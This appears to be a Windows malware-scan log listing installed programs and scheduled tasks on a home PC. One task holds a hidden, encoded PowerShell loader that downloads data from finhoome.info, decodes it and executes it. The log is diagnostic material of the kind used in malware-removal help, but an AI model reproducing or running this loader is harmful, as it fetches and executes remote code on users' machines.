Software Updater (HKLM-x32\...\{8DBC5A0A-31C4-46C7-B252-6B593EA11A87}) (Version: 4.3.7 - SEIKO EPSON CORPORATION) <==== ATTENTION
SolutionCenter (x32 Version: 140.0.299.000 - Hewlett-Packard) Hidden
Status (x32 Version: 140.0.342.000 - Hewlett-Packard) Hidden
Tales of Lagoona (x32 Version: 2.2.0.110 - WildTangent) Hidden
TED Notepad (HKLM-x32\...\TED Notepad) (Version: 5.4.2 - Medvedik, Juraj Simlovic)
The Weather Channel App (HKLM-x32\...\{167158CE-1637-4167-8A1C-C2549EEA966A}) (Version: 1.00.0000 - The Weather Channel)
Toolbox (x32 Version: 140.0.596.000 - Hewlett-Packard) Hidden
TrayApp (x32 Version: 140.0.297.000 - Hewlett-Packard) Hidden
Update Installer for WildTangent Games App (x32 Version:  - WildTangent) Hidden
Vacation Quest™ - Australia (x32 Version: 2.2.0.98 - WildTangent) Hidden
WebReg (x32 Version: 140.0.297.017 - Hewlett-Packard) Hidden
WildTangent Games (HKLM-x32\...\WildTangent wildgames Master Uninstall) (Version: 1.0.3.0 - WildTangent)
WildTangent Games App (x32 Version: 4.0.9.6 - WildTangent) Hidden
Windows Driver Package - Dynastream Innovations, Inc. ANT LibUSB Drivers (04/11/2012 1.2.40.201) (HKLM\...\F9D2A789F9CFF8CEC36B544F53877C80F1F73C46) (Version: 04/11/2012 1.2.40.201 - Dynastream Innovations, Inc.)
Windows Driver Package - Silicon Labs Software (DSI_SiUSBXp_3_1) USB  (02/06/2007 3.1) (HKLM\...\D1506E0025B5A3F9EB8270FE81C1EEDD9388B8A2) (Version: 02/06/2007 3.1 - Silicon Labs Software)
Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 15.4.3555.0308 - Microsoft Corporation)
Yahoo! Messenger (HKLM-x32\...\Yahoo! Messenger) (Version:  - Yahoo! Inc.)
Yahoo! Software Update (HKLM-x32\...\Yahoo! Software Update) (Version:  - )
ZoomText 10.1 (HKLM-x32\...\{F7F20305-1476-4421-B909-BB5B90D1F222}) (Version: 10.1 - Ai Squared)
ZoomText 10.1 (Version: 10.11.0.40925 - AiSquared) Hidden
ZoomText 10.1 Speech Engine (Kate) (HKLM-x32\...\{915F5CEC-D8E5-4830-8C05-3C012F47BDD1}) (Version: 1.1.0.0 - Voiceware)
ZoomText 10.1 Speech Engine (Paul) (HKLM-x32\...\{1C211817-350B-488C-8142-555341F5C717}) (Version: 1.1.0.0 - Voiceware)
ZoomText Keyboard (HKLM-x32\...\{8194FEA4-99B6-4CC9-8880-8888FBAB7EA6}) (Version: 1.5 - Ai Squared)
ZtVoicesEnable_ZRWaveWriter (HKLM\...\{7351fcdb-e302-4e51-826c-b75bd0e97011}.sdb) (Version:  - )
ZtVoicesEnable_Zt (HKLM\...\{0e370b0e-70fb-4c12-a066-bc208dd7f28f}.sdb) (Version:  - )
ZtVoicesEnable_ZtDomesticMagReader (HKLM\...\{aa173019-5c9f-44e1-8782-85571c5861d9}.sdb) (Version:  - )
ZtVoicesEnable_ZtInternationalMagReader (HKLM\...\{6dc43c7e-563d-4fa0-84f3-a4a870f52075}.sdb) (Version:  - )
Zuma's Revenge (x32 Version: 2.2.0.98 - WildTangent) Hidden
 
==================== Custom CLSID (Whitelisted): ==========================
 
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
 
CustomCLSID: HKU\S-1-5-21-2690978493-790239216-3970457346-1001_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\localserver32 -> C:\Users\Larry\AppData\Local\Microsoft\OneDrive\17.3.6281.1202\FileCoAuth.exe (Microsoft Corporation)
 
==================== Scheduled Tasks (Whitelisted) =============
 
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
 
Task: {0149A79E-E44F-4B8C-896A-272731FBC620} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> No File <==== ATTENTION
Task: {04A88163-B819-4E03-AF8C-26EE65B48EBA} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> No File <==== ATTENTION
Task: {0B083500-70BD-4681-92EE-5E6D34A4C0B6} - System32\Tasks\DriverRestore_ScheduledScan => C:\Program Files (x86)\DriverRestore\DriverRestore.exe [2015-11-02] ()
Task: {0CFE2E40-6A97-48C5-9F38-DE82315CF1B0} - System32\Tasks\Microsoft\Windows\UPnP\UPnPHostConfig => config upnphost start= auto
Task: {0E4889E6-5E0B-47AB-B635-1178211CE753} - System32\Tasks\DriverRestore_DailyScan => C:\Program Files (x86)\DriverRestore\DriverRestore.exe [2015-11-02] ()
Task: {14256DB8-6DF9-45AB-B671-C15AC254AE9E} - System32\Tasks\GarminUpdaterTask => C:\Program Files (x86)\Garmin\Express Self Updater\ExpressSelfUpdater.exe
Task: {14B872C9-ED54-4ACC-A2E9-1A45CAD02CCE} - System32\Tasks\MirageAgent => C:\Program Files (x86)\CyberLink\YouCam\YCMMirage.exe [2012-07-27] (CyberLink)
Task: {14DF3806-AAD3-4F5B-92D5-8F90E55AC1D1} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d -> No File <==== ATTENTION
Task: {1AB5109F-6E59-40E4-9452-E10F72246B0E} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Active Health Launcher => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPActiveHealth\ActiveHealth.exe [2015-11-04] (Hewlett-Packard)
Task: {2017B43B-5A8E-4287-B68E-BA257A479864} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> No File <==== ATTENTION
Task: {2D0DFA27-A2A7-4BF3-B1B8-C2B3A84264BF} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> No File <==== ATTENTION
Task: {3409996C-80D0-4213-BC11-667EED6E645E} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Updater => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSSFUpdater.exe [2015-09-27] (Hewlett-Packard)
Task: {516AC3B6-0DCD-47CD-AB5C-87AAF110A1E4} - System32\Tasks\HPCeeScheduleForLARRYSCOMPUTER$ => C:\Program Files (x86)\Hewlett-Packard\HP Ceement\HPCEE.exe [2015-06-16] (Hewlett-Packard)
Task: {5CC95500-6598-4330-9100-1B1835E8E688} - System32\Tasks\ByteFence => C:\Program Files\ByteFence\ByteFence.exe [2015-12-22] (Byte Technologies LLC)
Task: {80CFD78D-C43E-480A-B3A0-A669A4BF8EC2} - System32\Tasks\HPCeeScheduleForLarry => C:\Program Files (x86)\Hewlett-Packard\HP Ceement\HPCEE.exe [2015-06-16] (Hewlett-Packard)
Task: {86F9681A-F0EB-4E66-B920-D0287855D363} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> No File <==== ATTENTION
Task: {877C45C9-CB87-4B14-8E6A-9532AB4B3725} - System32\Tasks\{0D0F7A47-050C-7F0A-0B11-7E0F7F78117A} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAGYAaQBuAGgAbwBvAG0AZQAuAGkAbgBmAG8ALwB1AC8APwBhAD0AQQBxAGMAVwBsAFoAeAB5AFUAZgBVAEgANwA1AE0AWgBRAFUAUQBaAGYAbAA2ADQAdgBUAHYAWQBTAGEAdABpAFQAdgBvAFoAZgBlAEQASABiAG8ARgBzAHIARQBaAFMASgBMADUAVgBHAEwARgBiAGEANQBiAEUAeQBYAC0ATQBSAHMATwBxAHQAcwA2AGoAUgBXAHAANAB5AHAAYQB6AEIARABrAHgAagAyAGYAbgBwAHEATABIAFIAZAAzAFEAZABoAHoAVwBxAEcAOQBSAHYAMABnAE4AbwBwAHUANQAxAGsAVABtAFAAVABCADgAaQA1AEMAQQBSAFgAcgBuAE0AcQBuADcAdwBHAEcAbQBUADMANwBmAGQAVgBmAG0AeAAzAF8AVABzAEQASABoAGMAagA3ADAAVQBaAEoAZwBnAFgATgAwAEkAVABJADIAeQBoAHUATwBmAHIAOAB2ADUAegBQAE4AZQBPADQAVgBqAGUASwBEAFcAbwBqAEUAWABDAFIAeQBUAGEAagBsADgAOABxADcATgBXAGUAVwAzAHAAYgBpAG8AdgBsAEkAUwBlADgAawB1AHkASwB1AGUAcQBSADQAbABQAGgAQwBHAEEAdgBWAHUAMgA3AHYAVgA1AF8AMABQAFgAMwBmAEIAbABHADYATABZADcAcwBMAHkAMwBsAHEAZwA2AFIAbwBJAEcAcgBZAHMAOQBGADAATwBzAC0ALQBxAFcAVgBPAHAATABuAHgANAB2AG0AaABHAHgAUwA4AGoAbABBADQAYgBDAFcALQBfAEIAcQBxADAAQQBTAEMASQA0AEIAUgBRADEAQgA1AHUAYgBQADAAQwA0AGoARQBBAHkASwBlAEoAWABMAFkAYQB4AHoAXwBtAFUAaABNAHkAbAByAFkAZQBSADYAMAA2AFAAVQBMADMATAA0AFQAUgBMAE0AdABmAGgARABHAGQATQBOAEIATQB4ADcAWgB3AHQAbwBWAFIAMwBXAHoAcwBWAG0AWgBKAFEAcABMADEARwBUAFcASwBrAEMAbwAzAGwARABJAEwAeQBqAEgAMQBXAFIAUQBDAG8AbAAxAFoAMwBhADIARgBTAGYAYQBaAE8AYgBLAF8AZQBHAGYAUAA4AGIAdABwAHEAaQBiADMALQBvADUASwBfAEwATABrADYASwBJAGcAZAA5AGYALQBUAG0AZwBXADQAawB2ADYAbwAwAG0AaQBiAG0AOABMAEIAdQBtAHYARwBOAEYAQwBqAGsASwBfAHMAMwBZAHIAYQBJAGgASwB4AEMATwBNAEUAaABVADMAaQBLAGEAVQBkADEANAAxAFAARQA1AFgAMgByAEcAOQBEAGYARQBDAFkAMQA3ADcAZAA3AHMANQBLAEYAbgA3AFkAbwBnAFoAQwBfAHQATAAwAFkASQB3AGcAaABUAGkATwB6AEUAVQA2AEkAMgBsADAAbgA3AGgAYwB5ADQARABJAEMAMwBoAFgATAB1AFMAbgBJAGYASgBHAEkAcABzADkAegBaAHkAYQBCAHQAYgBqAFEAZgBvADAAdgBCAHkARgBPADYAVAAwAHEAagBQAGgATQB1AGcAVQBpADYAagAzAHEAVwBPAGkAbQA2AHkANABnAEYAbABwADIAMQBYADMAVgBGAEEAUABVADkAegAxAFAANQBEAEwAegBCAHoAOQBiAFUAQgBSAFUAOQBwAGYAeABfAGMAYwBPAHQAWQBpAGcATQBEAGEAcgBGAEMAbABUAEgAUwAyAGIAdgBQAF8AegByAFIAdABNAHEATgB3AHAANQB5AGwAUwB4AGMAegBOADcAeAA5ADQAXwA1AGUAUgBDAEEAMQBDADkAOABZAHUAQwBuAGUAdQBEAFkATgBoAG8ATwBZAHYAaABwAGoARQBjAFAAWgByAEkAQgBfAFQAbAAxAGQAMABMAGYAYwBfAGYAeQAzAEwAWQB6AHQAaAB5AHIARwByAFAAdwBJAG4AaAAwAGIAdQBlAGEAVQB0AGEAdQBtAHoAWgAzAE8AcABvAGcAYQBmAFEAWgA5AEsAZQBYAFMATQBDAEEARAB2AHgAdwBMAGYAeABjAEkAcABvAHEAOQByAGoAawBTAHIATQBoAGUAYgB1ADQAcABBAEkAbAAwAGQAUAB0AHgAZABqAEgAVwBOAGEAMwBHADAASwAyAFAANgBsAE8AbQB2ADIANwBxADkAdgBIAG8AaQBCAEUAUwBhAGQAMQBSAEIANgB5AHkAagA4AFYAMABaAFAAZAAzAFEAdgBhAHUAdwBlAHcANAAzAHYAawB3AGgAagBtAG4AVgBUAHAAVwBoAHgAUwBuAHIAeABTAHAAZQB5AGwAMQBWAHoALQAmAGMAPQBfAFMAbABuAEsAawA3AHYAVABBAGEAagB0AGYAUwBnADEAUgBLAE8AVwBFAHkANgBkADQANABWAHYAcgBKADQAbABsAGMAdQBDAEMARwBNAEsASwBaADcARQBoAF8AaQA1AG8ANgBpADcASgBIAEEAegBCAHUASwBHADAAWABJAC0AdwBEADYATABUAHoAUQB4AE0AVgBIAFkAUwB2AGcAdABUADcAYQA5AEgAdAA2AEsAXwA1AEYAOABtAG0AbQBlAEEATwBkAG0AVgBNAC0AXwBlAHkAaAB6AGsANQBUADAAYwBJAGcAQQB6AFoAaABjAFQAdQBYAHEAYwBCAGsAYgA3ADkAdwBJAEIAQwBWAC0AeAB4AFcANQBKAEwAXwA2ADcAeQBnADkALQBWAEMAagBIAFoANwBMAGkAWQBSAGIAbwBlAHgAcQBXAG0AdwBfADIAMQBRAEUARQBTAHMAQgBRAHIAWgBaAHMATABKAC0AdABOAHIAbQBsADMAOQBKAHYAdAA3AHMASwBDAEoAdQBqAG4AaABUAFEANgBjAHMAbwBxADgAUgBNAHkASgBTAEYAVwBBAE8AdABWAG0AYgBCAEsANQAzAFEAQQB2AGcAbwBsAG0AUgB4ADYAUAAwAHMAOQBlADIAaQBtAEQAYQBZADEAMABoAHUAbwAwAGYAegBqAFoAYQBQAGEAZAA2AF8AYwB0AHcATABTAGgAdwBxAHoAMwAtAGcAaAA5AHgAXwBfAF8ALQA4ADkAcABUAE0AawAxAE8AYgBxAEwASgBrADMAcQBMAEsAVwBIAGkAVgBTAEUAbwBwAHgAMwBtAHQAbQBuAGUAOAAzAEUAOAB4ADEATABPADgASwBiAHYAMgBrAEoAWQBwAFcAbwBCAEIAcgBrAGgALQBEAGkAMABCADEAOQBFAHEAegA1AG0AdgBiAEoAdgBrAFUAagBwADAAdABpAHAAMgAzAG4ANgBKAG0AUgAxAHAAaQBEAFEARgBPAGkAcABnAFgANgBKADEASgBhAFoAYgBoAGYAWQA1AFcAVQBDAGgASwBhAE4AUwB4AEUASABnAHIATQBsAGgAdgBVADQATwB6ADIASgA0AE0AZQBVAFUAVwBlAEQAUwA1AGMAbQBSAGQATgBUADQAZgBLAEQAOABTAFcAVwBKAE4AWQBiAFUAZABZADIANAB5AFQAUQBxAHEAawBSADMAYgBnAHgARQB4AHYASwA5AGMAcgBHAFUAaABwADYAQwBUADQAVQBhADYAVwBhAFoANAA4AG4AMQBYAHIAbQBrADIARAAzAEcAagBEAGUAaQBYAFAAXwB5AE4AdQBRAEIARQBLAE8AZQBiAG0AVwBtAGkAcAAtAHEAWQBzAGcAOABxAHYAdwB4AC0AOABPAEsANAB2AGgARwBmAFUANwBoAHoAeABYAFEAdgAyAFoAVQBWAHAAaQBEAEkANQAxAFgAQwBIAHoAMgB6AEcAawBEAHUAaQBGAFMASwBXAHIASQA4AHUARgBKADgAcAA5AHIAWABRAGQASwBYAFMAQwBqAEEAYwBVAEoAMgBOADYAYQAtAHcAOAA3AFEAXwBqADEAOQBQAEMATgBXAFIAMQBKADIANgB0AGYATgBmAGQATgAwADMAWgBZADIAWQBpAFkAcAAzADgASwBRADAAVABWAEoAQQAyADYAeABBAFMAMgA0AE4AVQBsAEwAbgBoADMARwBBAFYASgB2AHAAcAB6ADkAVgBFADIAaQBtAGgAVgBLAGoAbgBNAGkATgBFAGoAcABSAFkAVwBTAEgAcwBwAE0AeQBWAFcAWAB0ADkAbAA2AHYAZQBEAGoAbABTAEYAeABwAGkAeABFAFoAUQBFADYAUwBsAGcAOABGAHgAZwBuAEgAeQBxAFYAMwBRAE0AcgBBAFEAagB0AFcATQBzAEQAcABDAFgAdQBOAGgAUgBNAC0AZgBzAEIAbAB1AGoANQBnAGgARAA3AHUAcgAzAEwAUAB4AHUAMgBIAHgAVQBjAEwAZQBwAE0AdwBhAHEASwB2AFEAagBPADMAMQBuAFoAbwB2ADMAQwBnADcAcwBFAEcATQA5AFkAagBHAFgATwA2AHUASABKAGIAVQB5AGoAawBPAFQAWgBEAGQARABHAHgAWABBAGYAUQBXAHQATgA5AF8ASABIADQATgBWAHMAXwBGAGkAZgBmAGYATABuAHgANABpAHEAQQBwAG8AMwBvAFQAbABsAE8AcABNAEIAagBsAFEANABwAGgAMgBGAEcAXwBVAEsAaQBsAFMAVAB6ADUAdgBtAE0AZwAwAEQAVQAxAFUARQAyAGUAOQB1AEUAMABpAEUAQQBGAGEAYQBFADEASAB1ADcALQA3AHYASwBTAFgAdABLAHkAeQA1AFUALQBIAEgAYgBIADgAMABJAHgAaABJAFoAagB3AEoAcgB2AHIAagBDAEoAOQBvAEMATABWAEwALQBoAGoATQBtAE8ATgA3ADkANwBoACYAcgA9ADIAMAA4ADkAOAAwADcANgA1ADkAMQA4ADQAOAA3ADUAMgAxADYAIgA7ACQAcwB0AHMAawA9ACIAewAwAEQAMABGADcAQQA0ADcALQAwADUAMABDAC0ANwBGADAAQQAtADAAQgAxADEALQA3AEUAMABGADcARgA3ADgAMQAxADcAQQB9ACIAOwAkAHAAcgBpAGQAPQAiAE8AbgBlAFMAeQBzAHQAZQBtAEMAYQByAGUAIgA7ACQAaQBuAGkAZAA9ACIAUgBIAE0ASgBTAE4ASQBIACIAOwB0AHIAeQB7AGkAZgAoACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4ALgBNAGEAagBvAHIAIAAtAGwAdAAgADIAKQB7AGIAcgBlAGEAawA7AH0AJAB2AD0AWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBPAFMAVgBlAHIAcwBpAG8AbgAuAFYAZQByAHMAaQBvAG4AOwAKAGkAZgAoACQAdgAuAE0AYQBqAG8AcgAgAC0AZQBxACAANQApAHsAaQBmACgAKAAkAHYALgBNAGkAbgBvAHIAIAAtAGwAdAAgADIAKQAgAC0AQQBOAEQAIAAoACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBTAGUAcgB2AGkAYwBlAFAAYQBjAGsATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAtAGwAdAAgADIAKQApAHsAYgByAGUAYQBrADsAfQB9AAoAaQBmACgALQBOAE8AVAAgACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAUAByAGkAbgBjAGkAcABhAGwAXQBbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBJAGQAZQBuAHQAaQB0AHkAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdAAoACkAKQAuAEkAcwBJAG4AUgBvAGwAZQAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEIAdQBpAGwAdABJAG4AUgBvAGwAZQBdACAAIgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACIAKQApAHsAYgByAGUAYQBrADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAHcAYwAoACQAdQByAGwAKQB7ACQAcgBxAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBxAC4AVQBzAGUARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAPQAkAHQAcgB1AGUAOwAkAHIAcQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAdQBzAGUAcgAtAGEAZwBlAG4AdAAiACwAIgBNAG8AegBpAGwAbABhAC8ANAAuADAAIAAoAGMAbwBtAHAAYQB0AGkAYgBsAGUAOwAgAE0AUwBJAEUAIAA3AC4AMAA7ACAAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAKQAiACkAOwByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAHEALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQApADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAcwB0AHIAKAAkAHIAYQB3AGQAYQB0AGEAKQB7ACQAYgB0AD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AGQAYQB0AGEAKQA7ACQAZQB4AHQAPQAkAGIAdABbADAAXQA7ACQAawBlAHkAPQAkAGIAdABbADEAXQAgAC0AYgB4AG8AcgAgADEANwAwADsAZgBvAHIAKAAkAGkAPQAyADsAJABpACAALQBsAHQAIAAkAGIAdAAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABiAHQAWwAkAGkAXQA9ACgAJABiAHQAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACgAKAAkAGsAZQB5ACAAKwAgACQAaQApACAALQBiAGEAbgBkACAAMgA1ADUAKQApADsAfQAKAHIAZQB0AHUAcgBuACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACQAYgB0ACwAMgAsACgAJABiAHQALgBMAGUAbgBnAHQAaAAtACQAZQB4AHQAKQApACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwB9AAoAJABzAGMAPQBkAHMAdAByACgAdwBjACgAJABzAHUAcgBsACkAKQA7AEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AYwBvAG0AbQBhAG4AZAAgACIAJABzAGMAIgA7AH0AYwBhAHQAYwBoAHsAfQA7AGUAeABpAHQAIAAwADsA
Task: {9634265E-4580-43BC-8893-5A358F02F238} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\WINDOWS\system32\MRT.exe [2015-12-13] (Microsoft Corporation)
Task: {989F44A1-3539-47F9-B5AA-946EA3493B81} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Assistant Quick Start => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSF.exe [2015-09-28] (Hewlett-Packard Company)
Task: {9C2873D0-45F0-4368-B59A-DCFA005A236B} - System32\Tasks\Adobe Flash Player Updater => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2016-01-01] (Adobe Systems Incorporated)
Task: {9F339102-6155-40F9-9F83-2EE56474C421} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-08-27] (Google Inc.)
Task: {AD39A43D-3C0C-4490-B9C8-D06F8B9ED9F8} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> No File <==== ATTENTION
Task: {B593FBD7-CDBE-4C96-9208-980F8F474FCC} - System32\Tasks\EPSON XP-420 Series Update {6D00888C-0608-43CF-AF00-DC39583DA544} => C:\WINDOWS\system32\spool\DRIVERS\x64\3\E_YTSNAE.EXE [2013-11-21] (SEIKO EPSON CORPORATION)
Task: {B96671E6-581C-4303-981E-F66DCAB39CAB} - System32\Tasks\ByteFence Scan => C:\Program Files\ByteFence\ByteFence.exe [2015-12-22] (Byte Technologies LLC)
Task: {BF8EDD85-A41A-461A-A79C-5680A7B5E539} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-08-27] (Google Inc.)
Task: {C975D91A-8036-44E1-8D3C-C309661C52F1} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> No File <==== ATTENTION
Task: {CA67350E-59E6-4087-932B-A625223BDA72} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> No File <==== ATTENTION
Task: {CD23AEF4-039E-446E-8174-FEF7A20213F6} - System32\Tasks\Hewlett-Packard\HP Support Assistant\PC Health Analysis => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSF.exe [2015-09-28] (Hewlett-Packard Company)
Task: {D345DC32-914F-41A5-973E-5A7E57100779} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> No File <==== ATTENTION
Task: {D4A47CD2-5E92-452E-9A47-96BE37B4C7A6} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime -> No File <==== ATTENTION
Task: {E6F75A04-8958-4D3C-89C5-3E830CD3ED04} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime -> No File <==== ATTENTION
Task: {E9488795-D69B-47EF-A5CF-3D7F9C2EA0C5} - System32\Tasks\Hewlett-Packard\HP Active Health\HP Active Health Scan (HPSA) => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPActiveHealth\ActiveHealth.exe [2015-11-04] (Hewlett-Packard)
Task: {ECF20AD4-A3B7-4D84-9F5F-D10322ECB8F4} - System32\Tasks\UpdateTask => C:\Users\Larry\AppData\Local\{C2C3F~1\UNINST~1.EXE [2015-12-31] ()
Task: {F108C8F1-C7F7-4586-B249-13F1F5089957} - \One System Care Monitor -> No File <==== ATTENTION
Task: {F515D6A9-EC73-47FB-AD16-EC4A94D69A60} - \One System Care Task -> No File <==== ATTENTION
 
(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)
 
Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
Task: C:\WINDOWS\Tasks\EPSON XP-420 Series Update {6D00888C-0608-43CF-AF00-DC39583DA544}.job => C:\WINDOWS\system32\spool\DRIVERS\x64\3\E_YTSNAE.EXE:/EXE:{6D00888C-0608-43CF-AF00-DC39583DA544} /F:UpdateWORKGROUP\LARRYSCOMPUTER$ĊSearches for EPSON software updates, and notifies you when updates are available.If this task is disabled or stopped, your EPSON software will not be automatically kept up to date.Thi
Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\WINDOWS\Tasks\HPCeeScheduleForLarry.job => C:\Program Files (x86)\Hewlett-Packard\HP Ceement\HPCEE.exe
Task: C:\WINDOWS\Tasks\HPCeeScheduleForLARRYSCOMPUTER$.job => C:\Program Files (x86)\Hewlett-Packard\HP Ceement\HPCEE.exe
Task: C:\WINDOWS\Tasks\UpdateTask.job => 
